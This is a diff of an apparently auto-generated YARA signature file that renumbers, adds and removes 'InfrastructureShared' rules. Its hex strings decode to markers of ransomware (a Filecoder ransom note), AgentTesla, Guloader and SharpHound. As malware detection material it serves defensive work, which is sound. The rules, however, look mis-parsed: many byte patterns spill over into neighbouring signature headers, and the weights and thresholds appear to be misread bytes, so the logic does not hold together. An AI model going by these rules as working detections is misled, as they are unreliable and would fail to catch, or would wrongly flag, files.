_InfrastructureShared_28011{ +rule _InfrastructureShared_29757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -365154,7 +387923,7 @@ rule _InfrastructureShared_28011{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_28012{ +rule _InfrastructureShared_29758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365167,7 +387936,7 @@ rule _InfrastructureShared_28012{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*12079+(#a_01_2 & 1)*8448+(#a_01_3 & 1)*26946) >=4 } -rule _InfrastructureShared_28013{ +rule _InfrastructureShared_29759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365179,7 +387948,7 @@ rule _InfrastructureShared_28013{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101+(#a_01_3 & 1)*25445) >=4 } -rule _InfrastructureShared_28014{ +rule _InfrastructureShared_29760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -365194,7 +387963,7 @@ rule _InfrastructureShared_28014{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21340+(#a_01_2 & 1)*25940+(#a_01_3 & 1)*30063+(#a_01_4 & 1)*30060+(#a_01_5 & 1)*25968) >=4 } -rule _InfrastructureShared_28015{ +rule _InfrastructureShared_29761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -365210,7 +387979,7 @@ rule _InfrastructureShared_28015{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24407+(#a_01_3 & 1)*18190+(#a_01_4 & 1)*28527+(#a_01_5 & 1)*30575+(#a_01_6 & 1)*21320+(#a_01_8 & 1)*98) >=9 } -rule _InfrastructureShared_28016{ +rule _InfrastructureShared_29762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -365229,7 +387998,7 @@ rule _InfrastructureShared_28016{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*0+(#a_01_9 & 1)*25942) >=10 } -rule _InfrastructureShared_28017{ +rule _InfrastructureShared_29763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,17 00 17 00 06 00 21 " @@ -365244,7 +388013,7 @@ rule _InfrastructureShared_28017{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*22132+(#a_01_2 & 1)*1+(#a_01_3 & 1)*105+(#a_01_4 & 1)*97+(#a_01_5 & 1)*71) >=23 } -rule _InfrastructureShared_28018{ +rule _InfrastructureShared_29764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -365254,7 +388023,7 @@ rule _InfrastructureShared_28018{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_28019{ +rule _InfrastructureShared_29765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -365266,7 +388035,7 @@ rule _InfrastructureShared_28019{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_28020{ +rule _InfrastructureShared_29766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 07 00 21 " @@ -365280,7 +388049,7 @@ rule _InfrastructureShared_28020{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*7424+(#a_01_2 & 1)*11873+(#a_01_4 & 1)*22281+(#a_01_5 & 1)*12612) >=3 } -rule _InfrastructureShared_28021{ +rule _InfrastructureShared_29767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -365299,7 +388068,7 @@ rule _InfrastructureShared_28021{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*0+(#a_01_9 & 1)*25968) >=10 } -rule _InfrastructureShared_28022{ +rule _InfrastructureShared_29768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0c 00 21 " @@ -365317,7 +388086,7 @@ rule _InfrastructureShared_28022{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28787+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*18527+(#a_01_5 & 1)*0+(#a_01_7 & 1)*83+(#a_01_8 & 1)*25459+(#a_01_10 & 1)*99+(#a_01_11 & 1)*82) >=11 } -rule _InfrastructureShared_28023{ +rule _InfrastructureShared_29769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,12 00 12 00 09 00 21 " @@ -365333,7 +388102,7 @@ rule _InfrastructureShared_28023{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12644+(#a_01_2 & 1)*18789+(#a_01_3 & 1)*8302+(#a_01_5 & 1)*115+(#a_01_6 & 1)*3072+(#a_01_7 & 1)*20038) >=18 } -rule _InfrastructureShared_28024{ +rule _InfrastructureShared_29770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365346,7 +388115,7 @@ rule _InfrastructureShared_28024{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*30580+(#a_01_2 & 1)*108+(#a_01_3 & 1)*29549) >=30 } -rule _InfrastructureShared_28025{ +rule _InfrastructureShared_29771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365358,7 +388127,7 @@ rule _InfrastructureShared_28025{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26982+(#a_01_3 & 1)*24832) >=30 } -rule _InfrastructureShared_28026{ +rule _InfrastructureShared_29772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365370,7 +388139,7 @@ rule _InfrastructureShared_28026{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*105+(#a_01_3 & 1)*23328) >=30 } -rule _InfrastructureShared_28027{ +rule _InfrastructureShared_29773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -365380,7 +388149,7 @@ rule _InfrastructureShared_28027{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_28028{ +rule _InfrastructureShared_29774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -365390,7 +388159,7 @@ rule _InfrastructureShared_28028{ ((#a_01_0 & 1)*19491) >=1 } -rule _InfrastructureShared_28029{ +rule _InfrastructureShared_29775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -365400,7 +388169,17 @@ rule _InfrastructureShared_28029{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_28030{ +rule _InfrastructureShared_29776{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {6c 6f 77 4c 69 73 74 3a 45 7a 43 6f 6e 6e 65 63 74 00 01 00 38 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 65 00 7a 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2c 00 20 00 49 00 6e 00 63 00 2e 00 01 00 34 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 } //16675 + condition: + ((#a_01_0 & 1)*16675) >=3 + +} +rule _InfrastructureShared_29777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -365412,7 +388191,7 @@ rule _InfrastructureShared_28030{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*9292+(#a_01_2 & 1)*332) >=3 } -rule _InfrastructureShared_28031{ +rule _InfrastructureShared_29778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -365423,7 +388202,7 @@ rule _InfrastructureShared_28031{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*45) >=3 } -rule _InfrastructureShared_28032{ +rule _InfrastructureShared_29779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -365438,7 +388217,7 @@ rule _InfrastructureShared_28032{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*14885+(#a_01_2 & 1)*12642+(#a_01_3 & 1)*110+(#a_01_4 & 1)*27680+(#a_01_5 & 1)*19208) >=4 } -rule _InfrastructureShared_28033{ +rule _InfrastructureShared_29780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -365451,36 +388230,23 @@ rule _InfrastructureShared_28033{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*120+(#a_01_3 & 1)*8448+(#a_01_5 & 1)*20231) >=6 } -rule _InfrastructureShared_28034{ +rule _InfrastructureShared_29781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " strings : $a_01_0 = {46 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 50 41 21 4d 54 42 00 01 00 07 4f 6c 6c 79 44 42 47 01 00 09 53 61 6e 64 42 6f 78 69 65 01 00 09 57 69 72 65 53 68 61 72 6b 01 00 08 4b 61 70 65 72 } //16675 - $a_01_1 = {01 00 25 24 30 30 30 32 31 34 46 39 2d 30 30 30 30 2d 30 30 30 30 2d 43 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 34 36 01 00 28 42 39 31 37 37 35 34 42 43 46 45 37 31 37 45 42 34 46 37 43 45 30 34 41 35 42 31 31 41 36 33 35 31 45 45 43 35 30 31 35 01 00 0e 45 6e 63 6f 64 65 50 61 73 73 77 6f 72 64 00 00 61 bf 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 52 61 6e } //27507 - $a_01_2 = {3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 51 4c 21 4d 54 42 00 02 00 12 43 3a 5c 6e 6f 64 65 63 72 79 70 74 6f 72 2e 74 78 74 02 00 42 41 6c 6c 20 79 6f 75 72 20 69 6d 70 6f 72 74 61 6e 74 20 66 69 6c 65 73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 20 59 6f 75 72 20 64 61 74 61 20 69 73 20 6c 6f } //28531 - $a_01_3 = {64 2e 02 00 1e 59 4f 55 20 43 41 4e 20 4e 4f 54 20 52 45 43 4f 56 45 52 20 59 4f 55 52 20 46 49 4c 45 53 02 00 15 49 4e 46 45 43 54 45 44 20 42 59 20 4e 4f 44 45 43 52 59 50 54 00 00 61 bf 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //27491 - $a_01_4 = {38 21 4d 54 42 00 01 00 1b 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 31 01 00 0c 58 58 58 58 58 58 58 58 58 31 32 33 01 } //19777 - $a_01_5 = {38 33 34 32 35 32 33 35 33 34 01 00 08 4e 53 65 72 76 65 72 34 01 00 0a 46 48 4a 34 33 32 34 32 34 32 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 54 6f 53 74 72 69 6e 67 01 00 0c 42 61 73 65 33 32 53 74 72 69 6e 67 01 00 06 54 6f 42 79 74 65 01 00 0b 43 } //2816 - $a_01_6 = {54 6f 56 61 6c 75 65 00 00 61 bf 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 70 63 61 6c 75 61 2e 65 78 65 00 0a 00 3e 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 43 00 6f 00 6d 00 70 00 61 00 74 00 69 00 62 00 69 00 6c 00 69 00 74 00 79 00 20 00 41 00 73 00 73 00 69 00 73 00 74 00 61 00 6e 00 74 00 0a 00 2f 41 73 6c 52 65 67 69 73 74 72 } //24936 + $a_01_1 = {01 00 25 24 30 30 30 32 31 34 46 39 2d 30 30 30 30 2d 30 30 30 30 2d 43 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 34 36 01 00 28 42 39 31 37 37 35 34 42 43 46 45 37 31 37 45 42 34 46 37 43 45 30 34 41 35 42 31 31 41 36 33 35 31 45 45 43 35 30 31 35 01 00 0e 45 6e 63 6f 64 65 50 61 73 73 77 6f 72 64 00 00 61 bf 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 } //27507 + $a_01_2 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 38 21 4d 54 42 00 01 00 1b 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 31 01 00 0c 58 58 58 58 58 58 58 58 58 31 32 33 01 00 0b 55 38 33 34 32 35 32 33 35 33 34 01 00 08 4e 53 65 72 76 65 72 34 } //27247 + $a_01_3 = {46 48 4a 34 33 32 34 32 34 32 } //1 FHJ4324242 + $a_01_4 = {47 65 74 53 74 72 69 6e 67 } //1 GetString + $a_01_5 = {54 6f 53 74 72 69 6e 67 } //1 ToString + $a_01_6 = {42 61 73 65 33 32 53 74 72 69 6e 67 } //1 Base32String condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27507+(#a_01_2 & 1)*28531+(#a_01_3 & 1)*27491+(#a_01_4 & 1)*19777+(#a_01_5 & 1)*2816+(#a_01_6 & 1)*24936) >=7 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27507+(#a_01_2 & 1)*27247+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_28035{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 04 00 21 " - - strings : - $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 51 4c 21 4d 54 42 00 02 00 12 43 3a 5c 6e 6f 64 65 63 72 79 70 74 6f 72 2e 74 78 74 02 00 42 41 6c 6c 20 79 6f 75 72 20 69 6d 70 6f 72 74 61 6e 74 20 66 } //16675 - $a_01_1 = {73 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 21 20 59 6f 75 72 20 64 61 74 61 20 69 73 20 6c 6f 63 6b 65 64 2e 02 00 1e 59 4f 55 20 43 41 4e 20 4e 4f 54 20 52 45 43 4f 56 45 52 20 59 4f 55 52 20 46 49 4c 45 53 02 00 15 49 4e 46 45 43 54 45 44 20 42 59 20 4e 4f 44 45 43 52 59 50 54 00 } //27753 - $a_01_2 = {00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 34 38 21 4d 54 42 00 01 00 1b 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 31 01 00 0c 58 58 58 58 58 58 58 58 58 31 32 33 01 00 0b 55 38 33 34 32 35 32 33 35 33 34 01 00 08 4e 53 65 72 76 65 72 34 01 00 0a 46 48 4a 34 33 32 34 32 34 32 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 54 6f 53 74 72 69 6e 67 01 00 0c 42 61 73 65 33 32 53 74 72 69 6e 67 01 00 06 54 6f 42 79 74 65 01 00 0b 43 68 61 72 54 6f 56 61 6c 75 65 } //24832 - $a_01_3 = {bf 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 70 63 61 6c 75 61 2e 65 78 65 00 0a 00 3e 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 43 00 6f 00 6d 00 70 00 61 00 74 00 69 00 62 00 69 00 6c 00 69 00 74 00 79 00 20 00 41 00 73 00 73 00 69 00 73 00 74 00 61 00 6e 00 74 00 0a 00 2f 41 73 6c } //0 - condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27753+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0) >=8 - -} -rule _InfrastructureShared_28036{ +rule _InfrastructureShared_29782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -365498,7 +388264,7 @@ rule _InfrastructureShared_28036{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14421+(#a_01_2 & 1)*26994+(#a_01_4 & 1)*32+(#a_01_5 & 1)*23928+(#a_01_6 & 1)*25188+(#a_01_7 & 1)*11892+(#a_01_8 & 1)*30529+(#a_01_9 & 1)*11873) >=10 } -rule _InfrastructureShared_28037{ +rule _InfrastructureShared_29783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365511,7 +388277,7 @@ rule _InfrastructureShared_28037{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*116+(#a_01_2 & 1)*27753+(#a_01_3 & 1)*29285) >=30 } -rule _InfrastructureShared_28038{ +rule _InfrastructureShared_29784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -365526,7 +388292,7 @@ rule _InfrastructureShared_28038{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*8250+(#a_01_2 & 1)*20572+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_28039{ +rule _InfrastructureShared_29785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -365539,7 +388305,7 @@ rule _InfrastructureShared_28039{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*114+(#a_01_3 & 1)*29289+(#a_01_4 & 1)*8307) >=5 } -rule _InfrastructureShared_28040{ +rule _InfrastructureShared_29786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -365553,7 +388319,7 @@ rule _InfrastructureShared_28040{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=5 } -rule _InfrastructureShared_28041{ +rule _InfrastructureShared_29787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -365570,7 +388336,7 @@ rule _InfrastructureShared_28041{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24415+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0+(#a_01_4 & 1)*27745+(#a_01_5 & 1)*28524+(#a_01_7 & 1)*118+(#a_01_8 & 1)*29806) >=9 } -rule _InfrastructureShared_28042{ +rule _InfrastructureShared_29788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -365585,7 +388351,7 @@ rule _InfrastructureShared_28042{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25960+(#a_01_2 & 1)*21+(#a_01_3 & 1)*12082+(#a_01_4 & 1)*20588+(#a_01_6 & 1)*105) >=16 } -rule _InfrastructureShared_28043{ +rule _InfrastructureShared_29789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 09 00 21 " @@ -365602,7 +388368,7 @@ rule _InfrastructureShared_28043{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24949+(#a_01_2 & 1)*19778+(#a_01_3 & 1)*101+(#a_01_4 & 1)*17003+(#a_01_5 & 1)*27228+(#a_01_7 & 1)*3906+(#a_01_8 & 1)*8523) >=21 } -rule _InfrastructureShared_28044{ +rule _InfrastructureShared_29790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,3c 00 3c 00 06 00 21 " @@ -365616,7 +388382,7 @@ rule _InfrastructureShared_28044{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*121+(#a_01_2 & 1)*17996+(#a_01_3 & 1)*25964+(#a_01_4 & 1)*28764) >=60 } -rule _InfrastructureShared_28045{ +rule _InfrastructureShared_29791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -365628,7 +388394,7 @@ rule _InfrastructureShared_28045{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25712+(#a_01_2 & 1)*28718) >=1 } -rule _InfrastructureShared_28046{ +rule _InfrastructureShared_29792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -365638,7 +388404,7 @@ rule _InfrastructureShared_28046{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_28047{ +rule _InfrastructureShared_29793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365650,7 +388416,7 @@ rule _InfrastructureShared_28047{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*45+(#a_01_3 & 1)*79) >=4 } -rule _InfrastructureShared_28048{ +rule _InfrastructureShared_29794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365663,7 +388429,7 @@ rule _InfrastructureShared_28048{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*121+(#a_01_2 & 1)*110+(#a_01_3 & 1)*116) >=4 } -rule _InfrastructureShared_28049{ +rule _InfrastructureShared_29795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -365675,7 +388441,7 @@ rule _InfrastructureShared_28049{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*120+(#a_01_2 & 1)*21539) >=6 } -rule _InfrastructureShared_28050{ +rule _InfrastructureShared_29796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -365693,7 +388459,7 @@ rule _InfrastructureShared_28050{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*12132+(#a_01_3 & 1)*13362+(#a_01_4 & 1)*25972+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*10+(#a_01_8 & 1)*10) >=9 } -rule _InfrastructureShared_28051{ +rule _InfrastructureShared_29797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -365708,7 +388474,7 @@ rule _InfrastructureShared_28051{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*22538+(#a_01_4 & 1)*21261+(#a_01_6 & 1)*109+(#a_01_8 & 1)*100+(#a_01_9 & 1)*111) >=10 } -rule _InfrastructureShared_28052{ +rule _InfrastructureShared_29798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365719,7 +388485,7 @@ rule _InfrastructureShared_28052{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*105) >=30 } -rule _InfrastructureShared_28053{ +rule _InfrastructureShared_29799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " @@ -365732,7 +388498,7 @@ rule _InfrastructureShared_28053{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*97+(#a_01_2 & 1)*27247+(#a_01_3 & 1)*17938) >=100 } -rule _InfrastructureShared_28054{ +rule _InfrastructureShared_29800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 07 00 21 " @@ -365748,7 +388514,7 @@ rule _InfrastructureShared_28054{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28493+(#a_01_2 & 1)*0+(#a_01_3 & 1)*8448+(#a_01_4 & 1)*25959+(#a_01_5 & 1)*25959+(#a_01_6 & 1)*21839) >=1 } -rule _InfrastructureShared_28055{ +rule _InfrastructureShared_29801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 03 00 06 00 21 " @@ -365757,13 +388523,13 @@ rule _InfrastructureShared_28055{ $a_01_1 = {00 70 00 52 00 65 00 73 00 75 00 6c 00 74 00 73 00 2e 00 7a 00 69 00 70 00 01 00 13 53 68 61 72 70 48 6f 75 6e 64 43 6f 6d 6d 6f 6e 4c 69 62 01 00 14 73 65 74 5f 44 75 6d 70 53 4d 53 41 50 61 73 73 77 6f 72 64 01 00 10 67 65 74 5f 4c 44 41 50 50 61 73 73 77 6f 72 64 01 00 0b 53 68 61 72 70 5a 69 70 4c 69 62 00 00 61 c2 00 00 04 00 } //111 $a_01_2 = {00 21 23 41 } //4 ℀䄣 $a_01_3 = {77 4c 69 73 74 3a 43 69 73 63 6f 46 69 72 77 61 72 65 55 70 67 72 61 64 65 00 01 00 1a 43 69 73 63 6f 5f 46 54 44 5f 53 53 50 5f 46 50 32 4b 5f 55 70 67 72 61 64 65 01 00 48 5f 62 75 69 6c 64 2f 66 74 64 2f 55 47 4f 55 54 50 55 54 2f 75 70 67 72 61 64 65 2d 47 61 6c 69 61 6e 6f 2f 43 69 73 63 6f 5f 46 54 44 5f 53 53 50 5f 46 50 32 } //27756 - $a_01_4 = {70 67 72 61 64 65 5f 52 65 61 64 69 6e 65 73 73 01 00 0b 66 6f 6e 74 73 2f 43 69 73 63 6f 01 00 21 2f 76 61 72 2f 74 6d 70 2f 62 75 69 6c 64 2f 77 6f 72 6b 73 70 61 63 65 2f 49 4d 53 2f 49 4d 53 5f 00 00 61 c2 00 00 06 00 06 00 06 00 21 23 41 6c 6c 6f 77 } //24395 - $a_01_5 = {74 3a 41 53 52 53 71 6c 73 65 72 76 72 00 01 00 0c 73 71 6c 73 65 72 76 72 2e 65 78 65 01 00 22 5c 62 69 6e 5c 73 71 6c 73 65 72 76 72 2e 76 63 78 70 72 6f 6a 5c 73 71 6c 73 65 72 76 72 2e 70 64 62 01 00 3a 44 65 76 5c 5c 53 71 6c 5c 5c 4e 74 64 62 6d 73 5c 5c 73 74 6f 72 65 6e 67 5c 5c 6a 73 6f 6e 70 61 72 73 65 72 5c 5c 73 72 63 5c 5c 4a 53 } //26956 + $a_01_4 = {70 67 72 61 64 65 5f 52 65 61 64 69 6e 65 73 73 01 00 0b 66 6f 6e 74 73 2f 43 69 73 63 6f 01 00 21 2f 76 61 72 2f 74 6d 70 2f 62 75 69 6c 64 2f 77 6f 72 6b 73 70 61 63 65 2f 49 4d 53 2f 49 4d 53 5f 00 00 61 c2 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a } //24395 + $a_01_5 = {6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 50 30 32 30 36 32 35 21 4d 54 42 00 01 00 3c 68 00 75 00 72 00 74 00 6c 00 69 00 6e 00 67 00 6c 00 79 00 20 00 65 00 72 00 67 00 6f 00 6d 00 65 00 74 00 65 00 72 00 63 00 79 00 6b 00 6c 00 65 00 6e 00 2e 00 65 00 78 00 65 00 01 00 26 70 00 6f 00 6c 00 79 00 70 00 68 00 61 } //29268 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111+(#a_01_2 & 1)*4+(#a_01_3 & 1)*27756+(#a_01_4 & 1)*24395+(#a_01_5 & 1)*26956) >=3 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*111+(#a_01_2 & 1)*4+(#a_01_3 & 1)*27756+(#a_01_4 & 1)*24395+(#a_01_5 & 1)*29268) >=3 } -rule _InfrastructureShared_28056{ +rule _InfrastructureShared_29802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -365774,7 +388540,19 @@ rule _InfrastructureShared_28056{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24400) >=4 } -rule _InfrastructureShared_28057{ +rule _InfrastructureShared_29803{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " + + strings : + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 50 30 32 30 36 32 35 21 4d 54 42 00 01 00 3c 68 00 75 00 72 00 74 00 6c 00 69 00 6e 00 67 00 6c 00 79 00 20 00 65 00 72 00 67 00 6f 00 6d 00 65 00 74 00 65 00 72 00 63 00 } //18467 + $a_01_1 = {00 6c 00 65 00 6e 00 2e 00 65 00 78 00 65 00 01 00 26 70 00 6f 00 6c 00 79 00 70 00 68 00 61 00 73 00 61 00 6c 00 20 00 73 00 6e 00 6f 00 74 00 6e 00 73 00 65 00 74 00 01 00 14 73 00 69 00 6d 00 70 00 6c 00 65 00 78 00 69 00 74 00 79 00 01 00 0e 63 00 75 00 62 00 61 00 6e 00 65 00 72 00 00 00 61 c2 00 00 06 00 06 00 06 } //121 + $a_01_2 = {41 6c 6c 6f 77 4c 69 73 